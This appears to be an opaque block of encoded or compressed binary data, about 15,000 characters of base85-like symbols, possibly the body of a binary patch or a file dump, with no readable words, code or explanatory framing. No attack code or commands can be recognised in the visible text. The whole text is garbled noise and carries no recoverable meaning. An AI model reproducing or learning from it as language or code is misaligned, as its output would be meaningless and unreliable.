zO;iV@*Hech(TuW!cS~6;H0m|P5W&kpY9Zl<_-W?9^@{5fv(F1RhQMm>16D_pm9O~Xbg295Me~K0Bt; z5u-Di?U(+H*1|=Z)VeBzSJO{CP`wUq3U4c6XSh9$BlQx&hck^=zIJo~&}|M+R}J3A z^@qo5<^IhV;fnRi5n#_PiRH4?wcWC2+iKZ#N)7^Yx*ZdzCMf{uPa3bS@WlxvQfA0H zZlvvS84)V5q~Ue#Y{SdqiR?5yHF0?E#%k|P9$MlT_EMKiFUxXSk%0Zi3Qt$Mb0C=s ze(mc7hRZq#6AZj`1R(KT>#4h@t{e)$e!gVYcgTSm=Dn36yN5NUJ z$e`6J001HJS*7#~cDi0@USA3x!rs71qDE3+j&Thz$d5$fiw38o!`FufDQJ{PK{6|5 zl_zI$ft<|D9tsU06%v@!ql-qETT(1Zwj}&+HSg`&^rm*rok=t{lXWuUMxFmOAw1$D zS0z?4j{VBhH0-h{`5Jqc?r{IWqa`Dp>C&0k< zS$2VBI^=oLfnN3a2lB|cdFj(8uyZpVqu}Xu0E75C0@8xjTEv6#Nva=T)x2>unT@vA z{crY+dnL_+!*-R+&|4xiTDx{|Xsw>Y=W2ZI=GA|2W~G-!!lIb*7SX94!9l=|wh?_= zW&-G~Neo7fSd^GId-Bs6tpT+yAj|GX~8@bSsk5 z{4#Zyy|!O3)ehQ0+Cc?=5jEKK(d4Yf?h9QiY&eNMp6m;=CLl+y(MKMFPnT_4qyuASn4#9ua~lcGnv z6itznSMq0wl4&@e0MOy+dOWQoZC93zqN1@fj{icN8=%V3CiicF=DGg%v(R}FTDJE< z8pwpd4(ERtGyz+X@FMg;C+70jxdKTh)i%QNh5^tH*YcZiUPWPik!kgx&o?6!0!m9NAh~bkKFEhWj)TOkzk-f#8_P0Fkk}WsscI;a3MoQch*B&$9D{)bL{j3G1gRx^s-Nd=Y`$VX zr2k~TWRAN7AV9zYZc-?F%B-@2p>TnY>)Z8v&pk&{$+1Gt2$Yo2Nr|_40WNwJm1Bs} zb`$zU^c>N2@fwqRGC}~34e4Nv^MA;qbY;7ZtRZquIMg-n5gWhyU@Sh&uxjWg(L(08 zCCVbG0%TEBRE(ZxV%Jl2T(@)t24zvjE{Gk$lEL008^-?4Mk0@)$-;mm1&udL22s{b3?ihW6j3#G3m+i9jgOk5n1(6az*0z===*D0jS}*2Y%uLW z#X(ep9Asbz^7=wNiPw66I`^rv9Z=fIBCt#(e|O82N8c5ZW)oZ#Nni(@2y}P_I7>JQ zh>!<%z`RS$+jI@t0ag6603IGaLI*`cNb-n|(hR}f3_BLMu zmbQoh1k4<(TM*mY>KBIz@Wii|w}&@=Fc&Xx$wvm!7webjSG9{Dzc%WJY^{+`s0WDm z!sR?#V>3kbn&jTXc|`xn-b)zEO9r^_k_1o!xDPWcQG(_?k)LtM%b{$*_iiSkv<1Ub z(69SR`69&<&wXh2%*Z$q*&a+nov{>rYMs5p5mvfUlWC9gFp>z4fNFHp6Gn6~1bxKb z*xe#`8_Z1K_hHDrP2l|LR9u&UMf@(TkO?Qf&%sh&d9Zls*Y~ydGgyxIIamyt6K(#) zUE20&$X{8-m)!TVvNAxr_c>S$r}S!r1r%9PMB=>+Rt6*ZJ_n0oyk2jxcxmbPwGC!M zG4FG*7##KW2J6q^V3@1!{`(v(hAMx(!TNJJ7#V>2`y4D5et5mX`g1rK_Mc;Ag$xgS z2o&UcgVvwI!H_e&7VmOp0Tx06d#|>#tUrZ=A!lMN?{lzNLCO9HO999ZcwCbQfNc2V z0pj3{MM$`rfGvhHe~0jf{P-TD`_8Qi0MO7u!VkRRo&%6p$dbLE5N`nlLKf5gCTYs~ zq&pdsEF3DFkdmkG3HUs+))76qKsb^FP&q*(1$nTLQYk-Ck>0QrXp|WhOD(O-RRmcl zs9eGX#084yWlkECk&Dy`P3#0EDT6*KJrz-VD!)l2lbr%#Bs0~|t;4}<<_*}FF`NA4 z+<^uSibMi|CA|VdEJcfKSeU#h^OYWSl5Pm|2WyOcb`N_mGvNJZ5|VSLuvQmj_}YPn zRV!5tZph<=vcaV)j3PA1KMB8FO%P%40O}JJSN$bF-FIC3+@$%u+neTf2tnHv%#iW( z*U!O74udR&nHZ7g=EA=?U@@I8P?i+_owf8{Ct1gbD;&E3Du8&Eb|ubOtOZ(71rXh; z$iah|j7vMedHy*caT!8pB33>RSP0}4DF(#WfEcnYvC)D?`xLnsh-7%QM2#Ll7dMR- zXvZPZU4-$q38s{=2tvaW%9HtVI7!wGBM=E^tsxF(m3bcorybu9x|1C8+P{)B5(z(S zT`f?@5=P$;%oDl;8z25)JYWxW0`@@2d{7+Fwr)V}2JCa6#a8Y7>a5wSW}&Y28Xv#Jz@ovBrhmCJ5_pgeNxu6~*rh019|qfF}(Qm(g1T8@B_2vAAU}oDHXZv>2*?EDc%9; z`P)za#1#E01C?v35)zv6WHtiQCC6AB>CNF0bIe z+&W#?69qPbK%s(Hkq<}QCa9kgSU6aqTJ-Wq2o|nTP9wPU`E1aE2OY%KGzDf@eX(M& z{z_}EdI1}zmDVMMU#qP*>WN)k)SP}cK)f3awp>Czw({(fI{TH@C6vx9t&L)WwUyRf zx|j6msE}JSDtd_rn%;9WyKNaIvyw@U?{B48Vr%Z>R6xl9D7LX@EWJ-kL`@e;f<~DX zP|O)cHN6NSXefYqefBaX)g^1JmB?beBF6Y+E#kLs!8-%JsMt6PUEiHZ4ih>r@!Mb5 zHE5|&D(+_ddK=%Z0wS<6>uMmMXEfjZ7)CVzRFjk-T3YdO8PN@K8NdtJFjt-ZOlD+d zilalQ;^XRCWLg8u$>%a)!^>!#x9NO>yd1TKkV&TQ44=I`uXi^0F1}Xp*5RPuvTx)p zEzZ!aWw|nP&8>T5CB(CGWBhhw0XDVw4c5vE>M|2+%WuFbHCs<#kAn9Q$CCCW9M zDREf0lKnFg{3u3+u&UvmhBZTyMu*kZIHYrN|KL}s*mR3?>w71igD`rA!;f~@lL}7> zLaIWF08MVlmhG%dj{J2w22oH+Rcu0zLB-6_x{>~QlFXq^Oc)fWn9Z&1Pr4mD4S0rm zlJ!r|z_5}h6Oj?YR#UOK48!~CpO)XhZntbgqJL0=x}2mSLh8{*z9!hEm<;V&C8pF{hZ9x;o{ zd%dq2k0q5iqg$09UefMKK z_CCnZf5H{;Bi_{~6an;FghK9xUqoe)FeGj?S_v6iqBYo$G%iCUn-*J{eSg{jac2n| zRz)o#jY_nZ?TS<)#+7c3>ghGYEf9g13278Ei5s;pzGQA_ltcc?8}cE@Q~C`y3~h8)s+u?9RG<;d17o_V#3Ok6S@e zG-N=uW+CzFdXdN-4Tapf&yF`7Zj47*Nhz;VwcxRRe>jZTS4|SWwj33Dvtuuy|AH^= z(@qyhs8Xik#ZY&S#YfS0@RcEu<+MQBgxJ~5B*FFN!0Jk}h0~hu~{2sA-hooU0 zk|JNP`vm32rTmU_8A(ywtimkyy17(t+h;lUBP*Ji#$a>h6H>)5`_!MfBS!YbXBTCS zR`}^IZiL$H&B^8U>CKOJ>qqOR$ujAo5dC`QTwN=X^A7?+0ucd}0ow9he!%!U62@aa zQI&Qy6i}D{KnOws5b1%yhbmJC?TcyGown=H(^A8-!;-%i|2nYLfC>Bl2 z2iLX28pAvG=g2Szf;bgK=pKe_J-eVY$b!mbyr%deKs3N+OeVwN5q}P;&bIS38_XjW zP&g+1ESDuFhes_<*u<>???4W! zCU^5E(51D%U48>qyK*t{d^QgG3|Lb@$6#fS&#z1ZL;kx}EFT_42i` zvsMBt;?7nYJ-|x8?qHxz&!ktf1+pPJ&nsVdy>=(l7r^$(G^jkmrTR}gZPWrr-E~bB zbo+#yEfA`ZaTcmK7s7{}RfSD#@)QWo*$k;nW?0T*O*q3Ox~%nbTbOJ zqPIQPF>OaZaG}9Z5EoP8>z8cJ*lfWY58aSrun3arkZDli6Im6#B=Hhacq~LfHs)bw zbA=|f);K>6h4*r(LL*8%vbVez4QN`eSXOl^iV@NkGuBUVO9Jrwhy$F_e@fsggiC`W zAJ%)uCCM0G3tg7bdZ1e*fr;YaRU*H!%B^~OmBX%@#fil#(!8Nhb%!hHkcsteNcFnj zz(uE8*eAqpfP5|CUba9_NT(yR;2Lz^%8*XW)@DU2(IQMd8&g6p5rRm!<_n%MTYkDd zk9Bold2CTt1y;2Z@lH}=7KKQu3LA@yzPqKm17oiwrq=3e#ab$Qy3P`|4`gtIL-TK) z?Gj4#;CZx4GVb}KuvN-hQgL0)1lH}2E%~p=ki8aMi3mHk7L*Jd41qlq7rURgX zIuoh?SJoxt+R-&LcHB=&L{d?*oi}o>#Z8H@Z7sCOD<@IWzZ@_GW|o_kKHHl`a*|l& z8#^3ubF>)~ivZ`qC8FL}|FWWsvW)(96mD8M95JNjq2Ry;Z|$ppoV~#3$$rN6Qx8b6 zWPLwn%e^Xp#=BaUkalk~Dt8XMDErB;D%=%of>o0{hh5MqbDcAjz_K-oQdir&WDqo` zG~o$r^woo0Oz=vjIYUJ-ujLervU_TFvjx*4KI*Xw5`TRE}qSchK?8vsSAhJbs~X5HFoKsA-s!XLi~E( z;IT?q#zv5N#Oe>qW&(5R?XbW=L+Pkp(YWx=oitzAykR`?i>XI=)`^6)0M=`Tk+CE7=e1F%`?V;Kv5SPQxq#A{TNro@?PJTvK7cQnq%-34@0%<(sfc~-2Ua8I~yab0Sfvh@ew3yKzdJ# z8a*Q514eMDM02Q1UZZoi!64Z?bS_$O5E&!lk~k$1Jmtn+mc_USZ7gGw_GxEQ;;#i? zX)}z(^<**+Kaw+W6y$o;8zF@f!r6G6(PRu16L~Nu=wRrv>q!S+OD;tyPz6iJd@&9G zQaF1tVHNd21K>&4g&qV=s=&Nsiq;9iXPhAeMfP-+3$tZHj^*v7%ey9u`@iy0)Z*hvG&CoDd^ zfk+gz%h`_;ODyS>vt=Fj2JzjhL-bAfY~s>T7H{HS5q~TH zN)L@4SYAWsjOc;s+``^XET5%5`OTkA=v~M8IvIEndvN0Fa%kWvWIzn(>_&BJ07k!z zoV&?z2x_?wVMx&wr%`ABfDff(LSF?6+#0vmcVDlPeuc*I={2c_CxHRDv2;6jXl|Lg znWqg$x4_ZI2M@(V0dWf%dCX#{ZSCUn;>Y>rZA&=2{CIhhbK_GCTPwfu0i&_J@M*S* zuU)zDsq)>OkvU}J9hglY*5{Jyt+(y7m0?>=^ch|YaKZpr%iPU|t*H@#ZWCx z)Fs1GAX}x1s;bGR1*KI9qE#lU|Mq-UAp}{gTwPck00EXvDDt8Z)>Hv`ES^wXz9^@P z3X|C+dbK(NEI69E3beZ|#xOER2$jIl;LjN!RH$X@OtI_z5$`;RE@96t-9n;XYgz@u za)p%~DK)Ou1qi=nW&JTU<$)kQa|08x&B(Wx#Ci(99pAFm^0)O&iq3*Uo5~3Y+akhQ zz=lK1P{WqBv8&Mhdh=Z@fokKPPLSY(?qISAFw8U-8~GIu2^=zvLmApR*;nM{xyM7{ z&Al-koP-bdubDOD?h!qf5|AhU|2SkC2oL%xqBf z2L+oFJO4_ynW8{#%C*oXS<0ytRt?|gl>J2umc1*#tS-+oIG{OO_ojh4h>OyQsb;`Y zF1{nakB}+P&tFa)l(BRD{QVDlPI<0s;>NU2Ka~>dpyU*>fqda%tqKP{i%KjR=fp2? z0^#%7v%v!U+-eC_twy|OwLNPxOJA@@)+M}qc~JI4PafpnpIw-^o)O7ccigfGYL zw8V&+uZU9&D?JatC^x-8s#lQGqS?`GLDGKXf?n^$)A9We>w${a1L5|f94E^4ybHFCPje?w2+BES67T{;K0t0!^LwoDjiE5 zjIUwGZ~$`mMAB_UA@l=HC6GpqONo(OVwpHFsThdR>BZ;#%}PtQ%+6|8WWW7%tDUQ- zQnTH`b%hC+uX^h>w%gOfS>;S=V!Uu$!xRRuD6(lt_^Uh&Z>p+; zm&@3^s$+dK=5A=C5u*Fg{s-aPab*;A_r9%R=OpP3Hvf!*`y-in;2AXtM2(2DbIBxW zcw|k8+AY)`dSfKZPDzbA01GY=KR+EqNji1*70r-rdHW)KsoTPG2Dt66*^MD_%8nq6Fq6I!3}5t3|z#Z7z?egM)90X6H)hDEkRr7DQ*qMLKWG%6L;)EejeK%OK9!nGR62(%{3=vPSAvzM_tDcG=W{+knmy^ayT%>;fEtpnZetxjQ5U=hXm{fmj~@fc=k% z(~|+2F4Nl%$~ZxYS|IR1#v)-|LQ0pvxGwxB;rjLhq_r=?)dagOp((^hp198(6VjsD zmK##oQ%t8G$ztL`MQ47x&zxXh$r8^nI0(NyTgG47WHrr@AO@-$3vcGn+5?|`Vn=mq zzN9E1)_On!LAAkED0MX;nC+nLPUr2pKlWZ`jL1BDD~i_-MNX?0aqW?2wjtgXi2vS@nk|lhIa>^s**!SsaIOxF240Q?j zkbhrW4odo$HXrXqq$`?&6#&@ZW*=F&-OdY9;URkm4ii;LY%N`-(Bp~iPGAJw`nW%X z-QhP=Hjg$hZ>2W%<2q6wqFvKvQB#o{u_Z$lYcdv{rX3$O>*n8im+qyVP_)nEQ7qZL z;&38E!L)1BDP_U9CgeM)#z%DT+vRnGfrZ6qT4Inld)N5&jgLICv#ze$%2=&Er#Idqw%NTh3#P?gDY&l?fG+7j*d7X9(%jOjXswWyN3J>! z(KVs9^vGI77uxm4$Odyh?|u`H5rTMxS&B&F2{N1(FqBnf%1T844_>}N{;M7f)h|M| zc5osrw^+`oQYVDm2Fupp*1Sgh7{m0^L&6$2Jj37xJrf=(@5^aXO#8+kP22xgtJkdK zrh((Rt^&27K=iL>*>%xAwk%as8^?-#{CDx=WYQb@?5f=&K;LD)BJz3R^3GII6oav- z_Yuz;n}1Y#k8_#&zP{JpbN|hC?Db*8D3wqZVt=V_ex$`f-H0-Cxk6#?Q zqE-l0SE=TH@!z^5g4JP@?C`}8=mZ$`4{N`(PlM^90#F*6B?j`*n!0Q((KJi5((@_0B3KMW34`e`~mlui1HP@w=!O58!xm!iWOyr^K; zvkD-+8;+iJgfxmI9f?ij2nvysrHZzFtcne_rqz#+Y-lzce-|yN91#jzP>bn~rIWwN z7BP<;RvS2MJQ#Tn-KUbHsw_v<7zZ={sIt<9>Nn?yJFY)ooqfJOzF3I%qf|M>r3wmyOnK=%?iz{K?%d>X{B&{nDP%eduT~ zc0n?jnzQ8gjVv#-N+q~^M%JJT_lp{)iUf#kfc6;WqZLV#jOyjsZ;*b*`&!8gMj8-u znOt`}ejkhS+9Doj;mbI?bywHsQ_fr}M_z~Z7LcWz%!tSw zKtbTYtVqtYp*fEAh7WD_yNQE>Iisymuiv6~O(F9WZ7bR@gx$D`W{e(`Tl zhY-7?hgU!TG&(fsPoVwm2YA%s2yW3LbXEe92rl}|#sR(-VM2(e9irlO?7?y2ZgyC6 zu{F4O$2{BF#f0+VdXAoLb4l2;&&Gz$Ei>3{Tmn$=id}D9!MQO;O&c8$8DU^ef)odC!Kx^#=X6xJ6HS&$fyc=2Fub;_ymo!j+DW zjxt0jk#RFf$=fd78p&O@D|9`fEy$FRx805}zwP?Jw7>n{{QC6iw;z`whw>h1dbg_x zc+DlwWtHS#60R2{2|4$>{qX=y>(0PCypbgxHycU* zb@}5loYTXr2~g!UB2GQQoUkW^bimP0%84l%c+jS3sOU!&Q`nv?=F`Qz4aXR5XdtIe z|AAo*KL}yreGIT;ks z_NZLgY#Lt%U?xw;8fVIKzTlMLtFP7S!V!%)A$&{Xp{LE$F+94VAX1%$qTqUh;Vi^D zA)AS6Dw@t5_yhW!qOk39!yKjM!mS4+(@4){H=`&?mMym^1|VhQ^Xrb>ma~j^Z6Y+6xZ1$W zLkz*-rpFj?BgMNAzw$}}P=P$mlJI=vTW~s+i<22S$ti&_-yw5DG9tesseetOkvKVM zm}8fHu^6HigDCo7W|*K8J%<^=86|dy+_XvAm>TRt)q1kEv)15|HxP#}CDuZgAj4X$R7t>#ME zNs7wxqIm;w#OFc=Hg1@R)B_seqCJ2^0=f3`Xzn_>Dn*j@BL#J}vMCwJRUI3mRhOEg zb<}LukC6RnXjU@YfeUsj>#%9ImkAE^ zB9ZP`qfgv)hnkb#(klu}NR4u`TjT}uvmGi)mf4PQyisC+TrM}7ut|-` znp*~TekWAqD0Zyagrs$iQ0L8`kZXV;Gcb-cfQBIZz-XXRi1D3ef(XE~Ly_COoty>m zcLUa7_f7+e2oevDQ3lN%UGw6>A~{wrJ83a`B|LGFIIq@)r6dYtIzqjsQ2l;>wyft| zNx&!ExB&Q_{xd}QNRNq{3Q0uV2B?Jy(b-X%Q2a1}> zK>re^`S9yMYuZi**~g~0$AK%IN($7*xJur!X;TBtoiF4}(ASwY`!Lc<801w)yWEQ8 zMpPPaT?3?=T7MaP&iF*F`!MNtqg-GdQnUj%Sprh2P+FPXAi$gmfd^nOL3gXI;Z$F} zO@?yhe!Jf)L-~9t+cNVwUk)veB{xUAq%D^wLdMMG-M?QeS*XaGr0LoQ$wIX#Sx8<6 z^%*GBGb#!XLh{#yR~NP>REvdjpJXoSL`Dj+3cW~n`R%jaqwXKx+h@Cz*08uF8t-S? zD23AoL#q=Y15xqfa`F6xq3!9dEw>3pQQ2Mf<P^C4sJ1OfLMJ?QT(P70hJ7@4^2p0#2k`YbCYN>DC}{ zdn@RnwJ!89*+XQk!0EBp+am}K$CaCOj4i8EDoywxV0_{h)o%z)ZZzduO{pJ=im8IK zP?5k^*w6t?mh~pCWpcA2HBzBEOHGH&wusevrO4#k)#cZ*KluE$_8eT)yV9iAQwN@}Th=?Q@-3()H`O!KrKU$~hs5#d4EEavMXdR{#8*&@I1)y%l zZfBx3h=VmQXJTSHA>&Qywt;(n9S>|97~RRJuWWnzAXG|i|8gj6dN{1xd#Ti-p^X5> z=gQZ;n!8~WFIC+Sq%HX}MT~LVzYNgao#CVdS!#%upyEAMRefMdRHL4$=rz2b zd)slRf4A+DuodQpy&S5_K2`+yi6nB>fylDWO^&_2&wBdf*?Q~i2qsKq4X_NMB5RG> zkRRSP@)P z_ywTt?KR4E-X`K>U+d@6Pp}=c2DHSnEK1=LnOqcuuPv^9DH=YWhkT659yZ@*ryPQPw9=7{p?nie@wk{woK?&Ls0 z0V%SP`AU&c?gpt#I&q-P4IHR~cnzIQ;mZIk!Oa@}YzGQ?v0?{`ic%@KQ`i-in|Mns z352p)YYW`J#oHk6u*BWM6&0G|+$(DI?69>#ma+*c!jfmp=ht zt|CF)6OhRgHCy6Tnp{q_Y9ssX&C);96DfGEgW-X0>rCRG78LFh#Yh{4By5zYFh8w!hZ@tNMC=YrhZDMgT zGI>1##nA>+jZY$)`)n>TS)w)Zwz1_P0mdEq4WoJX@v(HIszlpXQXoL0ABjh%+7#=@ z$4A<69a0yHmWt-tsc0UeXbdd33D3YwX*BQ4cm3AO z-Wr|a2J?RZ%z|$#OapRw_05Uqfob3+Kboh*1(HMZh|$j2JG#UOWxqx*2}W_^kF{2D zARQ=5Mdw~Xe!`h__VLr(Un#K6aUCPp&?`FE4|zYkenD|5hE^q!e7uYV)j;ia!Uo%f zUVj{W+u{S@HH8-k)!ajviCG9yK4iU>(mNsH$i=F{wGhyiat8u2K@ch;qYgK|{1j!a zaVNxGmJ3vfcXcC-HzK9W&(S1X11Ex>;0!1~q48|iT0@a>=_!g^H8fEnj4W5Ia_2g3 zO`@u$o&{RNYlqwy3TnAfp*P=}I>zXyY)uwf&CowX#?$2H{NCOgX07`(Hfoy^uVZci z)WBr{h*v<|8ps*!@g=T*)SB!H+&R6W&xDXu6MPMIQEMv5fa*t*SW}v^cyxq~$2@{o zScCXXgvU%%EWp2vWE#@8)^eG&4XK$vp5D$I&C}~n>)WaP0(I2iCRzv7Oo?7pH|i4C zVH)OBGZi~b9BL+#{ghP3wv}?2SWsz0Y9^eMh{s{$g#s}-C*Mszrej~Z?oV)ms5KC8 zL`XwJ7_^jl>1|@n9lNCsw?!2KhZnjH=I(GIHetxlL&0*~W9;pH<}aVd&)b?vG8oqx za@s&wg*TP031ehZxl9}b_@8i5N-+h=)^@2QhSE8>R&Z<)_%}9aEw9rP_H2lHXayqg z$<4nHo=YEu+oLIAi-FKKRUnw9Nyw13CM=~WW2y8gd7?WV1eC9haqWrVs+_yk(O@*W zzaKt~CWCvZkh%|}vDcprdQh3|bw`~}6=7FGbcuX@{83e_hHG{^o~(2f$yGWQxM6gu zi|T*F09jQ>!e$Ae0=7+vE2CykF*L(=@4%{NO0wrlpaAU7o;lP%7)fRkDtm8nQ{k^= z5xn+2q>{X0Z~XAkopeVNAI2EFgZt6wemoddp{fiWkNG_7N}it6b$ z$kuFCRSex$W$CWdHB`j}Y{k>MzG8WnZUW6=>UW;(sg~VY#}dQ~1Htk-jGOzM8xMVV zGVnWN?_qL398IUbKf3RCrX3JB4TkqqzpANKO{w})$Lh#;9kZ*LF6ePJwX3K`$G$T< zAhGO7=AGiI9T0|gbkFjAPf;w*k}b(~@3cEf1BqbyTz~~E@I|h1rL3=Ofr!6zQc5W4 zfGdkFwd&{2$KUON?AAa1*6Un;9$h>dlTTk9L(!G$*E4J2eEs873q+hR-_+W%_~X+F zhlnYjyl${y2VA zWp8x(so(d%AB}%}QG08=7W{uMHO-riSMAg9zx^2e{_(LsAAk_0rCeBAPdsok`d~PE@$j~359pLDS@}Y*!sQt z`0d^Ar8Njs@#{c5_^E6eRX3V$>?@UxAQ?$`B4`GsL~b2LJQ3p7c17df!;-BLb|U#y zpy<{hh<&4bir2i^ZrT7BA%(XSpy-T!_~0-oGm(iP$s6Ow^v&l|VKiHz(QFL?K|}+& zLMd;*P4u3$H?L5_u^wAPL#5#RAKJq7GA~qPsRhPqfy!al+JsDPS^k4mzv7ssm}HGxiTC#5&96%E z`6pN!)<97rt%u{w(!Biv@-X=Ev~{r8j_|jdwudx2CJYiN02vXsr**U%){Y9T6Ep20 zJm^j)gQ<7lhyG!2O5$RJ-pCzw{l4c-NCBUsp=Xj*wKRNG=||bTGko2XWnZ>D*H$5K z<02q>hkLf+d%j}Wo{HeI+cjOStIA!;!)F9jyZD>dah2jY8M6qMC+_~Z(v>DrUN=rw zyD&`e^tSV5{$iLXlcw7ZJ{fWsfigp?)~-$-%%Ep|@6^tYyI)85H}e;*{)HQph+hr2 zG_I7^n?+teP0X|Ly>kBW{Ydx!xNskR&Gw#1q|C0?E>F7Z$yddj%^H6UpU*D8`=5^c z97!JRlE7fVCBY$#3S_QJ5<8Z0Ys8&Pad-&cAbSr`7AB&hadzMmzOm^9;oNS>YC3ga z2+uVo7RwRX9QKH8Z=wX9P|-GnF6eC&4>=I1-q(Sk9<|wTtWTdCGk)!zAa_dSSAvMW z+vz^~G{huJs^kPy=(wWlk58J5ab&ipF2BSjd5^343A5tqMdR{Ys|{*i#)?S4CV0#e z$Y%K7R$DTn*c5YO>qqORd7f+8#CON6ju2pbgz6x~pr3v2BBUT4%vO>CE5%8}AOu~H z)`&xvmM4PFADKHS-{OuSs~ktGWU6*vz#KgHdoxgP>LTc7c~rbti_UP+Z8IU*aNyf$ z-{wDoS$KW=gj@=t*PFdd7Uhscx!!2CUdEWt-TvGS9-RK*-t9hsVmV==;`y8$5WQ4m zg?veW63m~d&Hv?>+N>x2rGy1E{X0wg*!8W9nHk3HnV+ ze*i${hI8KDzYab!fj+DX0gU@ir1=WCDNUPJq)OVPiv6uRbLmVK7eKVh8JTW;y`Dbx8U-Ops zRjc{E+4@@NyR?}Wo4K+aO44MX6>LYvfbwK(D5R7SZzNj-WybYvi>Zqflm3J7AOGwB z{?GsYAOGhcfBeG)|Cj~;SP1{v3;wYk{(p5Ml*9>E9mLI}UExh5>1^cRmg(V6VBW|q z0OP<--51_t)>0wdmqN;0UtyrG$hpImxvjBTt&$)F27xkMfR+=OXN6n%jsPl1gqg%P z8cy!+Aof@py5rTcz3CHWg9G6NA+Q_xyax!V8d~*y@Ziq>_$RN=#E@G)bd(V~M7u$+ zPsiuxWeR;e@+*nk#^v#Gt66Wm-U#^k#4r+3vjZpAkYWFhV0d>iBFgA(!0ZR!?6CsR zpZ(Tsf`Ds~5@7P5AtX5?q2_EDw(#aTpNQwDH`h(EHlO1yt2LTMJhCK(8nBGZE^lom^r z2u(7L2XiV&T_l1vA!LeG+<~z^SfHnhaH>OB!C)RGVGtX^S2(O$n2LEB4Y@mbw0RJy zRtfWLVxUoaqm)SbrduQ6R#?-C)|5gI01}iV@x>cD_A)#|1 zHU@!9rqpC6oKL*L-HSjX6WF0!ot{(;Os zU;7B%9n5D7C=fw_@8HfIV)CT2%&*w3ZL&`!`?Eurh|MNrvwhlVLPPe^AJfb))4oYE zx(7@WcjiwgLAx`=N^!$KD#394VV6vJ6Y<%_oGeZfsimJBpDkDCk&dzx&{4+b>vzbw z;-9I;Y5tCqnQk^W^p*;b739!}u5*J(ImM0@B*B{BuO6{Oy{?l(`*Yony(yIDUuXXMHlq2Ls#*nFr^JVt4GVnGm~^E;c1 zP}2T??41j9+entB{|aMvW21MbLHIS*1i>2#x-u z&FTmqjf+c0@RZN!!n{A|q@(QmA&$4Tjl;O@3*`E z%TV$BHgWYH0<(JL$M*kUBc0dCDyO4cyXN^%#~-`z_YYrCf_}UUaP?jN1rhM`ZEfuJ z-~Ez2TX_Hxw^FB+A${YfHV9!AXoWmH2mAO`!KZs{62 zTPoN`y`Gqbt^oVv4I$G8qWCZz=Z~6--a1$R_`g9)C{lW3`9r+Ie z5;lhz_o9u73yV&|`Nv5^MLBFXh_}BVo}y9>uLqf?RFWh2e=sngXy@ooiMLqW6+Vr# zqw}#TlwD{dz5~d(_`4^czDq)J@@eHkl3wWucJI!XT;ymzvxMg2`?-(y`B$HBvjev1 z;1_pMxr;M>d39H&)(8Jr!_f~^Sgw7MWW2B%Q2Z53>wnn?q;Wp;@3Ze{TkQ3hPwX7J zi_0MZ`H^vcgBR+>w{PE?P0k@3o?oAg_oZLOT&NxILku{sgRjG@PlF3z)tO|h&o93Y z77XmDc`QyV48~+`5pigbkDqNkgR{}e_t{Ea4)$IjEevFEMU@KRerHOC(>2*8G}n20 zwXU@F^9*P2%;yVOm%m*PFWh`kWSI0d^#BT2X1tzvj)362E$GdSdSfmGdIg3uIt|wo<@rV!_PrTu0)nA!|!P(alr)`xxvl#^B zG`YG1hTaU>E1P(^s$>;CicbXpXjGDx8XB;VlSuU4+aCv?uCC56VM6=*_3MjMjXKvE z5%6O>4~+Ht*sCC z?Hi4R!_KSy_eX=jo>jhBD|WJCM@G$`4W`J=J5GZb7n)FH2F{K&<6UJb=63PZQ1h-r zYN4w*kDMvI;Op|l4n1J~`eHnv`)|&_9G+ZtD8nv%yN4Q6>F7__xqJ2Q=wVV!P^jc; z)^)DbR3Y(!$opGUB#=gY8kU((I-VlRJsnT{2y{G)gTd{GF|U)_bK)z__9pV;)WP!3 z#Obp)X1LwxJbq~7b0HhyA(WRkV!6CIqmUBho!Eq1Gn$TFnN`l4t4*vERXyfuM+%zN zUxntjNo4K6_KsZHlDGXoNmlIby?XU}XK#=DGKFq&MOY!7ZT8E{$*=j%o zXv3m+Om(?gYqC&{<(eupaWf)zikV^ZgGUwm74 zx#j4jos@dK+?i@w?g_ub+RN>`aJ~AdZ;OMu;K{4gSOG%hUe z%upHAE->7qoTq8$SND|wZ_*f6d(g-fWH$Jx(Yeu_^UhF6pas1+#4cdh=Dzg9hZu{_ z0j@GKTxMt|I&n|i92pG2`G#Xddm_Cjh0?4sU8#J!8}I^`sE;;*vg}=-dV%{f(vv3P z>DFq{5o;$#W?7OCr~1U_!mQ;BC{4Db*2XvOWM7K0U|ig(-n9PeNq@*@(YI`zBswmgL9Z|zn)##f&ZBm_Tywks*}-Y=B7-> zpAo{)g4HST{S4!m@k&D<9KAePVffPl6?f1dvHYp$yQb}0pn(FlY!}hg3JsV`R1qs7 zF8*P#^M}upk({8V%{R*L{Cf7*!?gG(m$3(x-jg3+7uj)e^m^~7*JB8GIdS!-U(lUD zZ-_Eh9MdMqsHN6jFpJF48HhvY{nDK;Lp>OGDAVE(1m^uG2fY09(*Pqub&b(TR{^Eb&E_9|t?*)!aYy0Ak9Jbb3HLiNY&{qu`Lokess%+EQq$psU*dcYo!M_V<1q zMBie8K0vhuJ6?bG)y~pg#{2IRg_Nd_4qgprPWDTS#KGX`lg8GuC!o}yy~pwCvOxZ_4!*r;74o5$OLlMQ)$16sA3 zeO(o@$Fpzp+T6CU&hA~v2Or6_>jdVuj_;nJZM-^kmI$b>qZe6cSpFZB*zC~1 ziT`^r#-{w~zYnVKgZEH|`5S%k-%hUn#~>TPTrl>INdAiTuV!rNY;Ly#LFG`ugPL!^^|> zAN07VlU59O?qBBSJ?43yzR^2Va0dr<%F#$~Ck4&#{J|IoF-w`hWWA?QgGM zzP+pPJXzoQ^mLJwWt)!m87=ML8;|d? zBV+A7yJ-@uandFmC)=4iZ?g?CE-(AQf3`DP-M8m+JH4OT*!T%Hqy;zA$J~DJuHkIX zcgJ0%{kLukxOzob)%Eb~tGhTF8+K$ahUZt8gZ)YH;qg>W@^Fdob+KQt{h6F*3lguLrtuG_-<@#iF2R*`C({Sg@l*%NXJWBqJ@_}Qv^ZLqNjL5OS zI|HoenfwL^M{)jv&g?1m*osflWVB;`LD>l(T6&5W0tN*5@?^bmA^PQPbp5^foBH|c z^RfHo=+2vbA)-%XWDak;=dIu0JY);QyU$H|a}yy8r zty9_wC0S)~>qHOt_$$paXFxX|7BzQlLY&TGVGGI#B*fAdluj+huXmoAwjWrYVEG~w zUAX2ue|?_kZCt#Q_qdrWetjnc@!j$CCUdotZ7~v{#e@CMmY{T+!WtVsIVygHmvo3< zeg-)DVmKP!F{riETB})b^!nYA&$%7!|Fp)JFYOa1E4hob{^qj#Pj_|#+#7SOJ+Kl~ z^)K&#JKSV|o?*GO)b~gxk9Wh2TxhZ>=qkPOqK-YUjmOdD0YCmYHZs*CNmjmlZs(C7 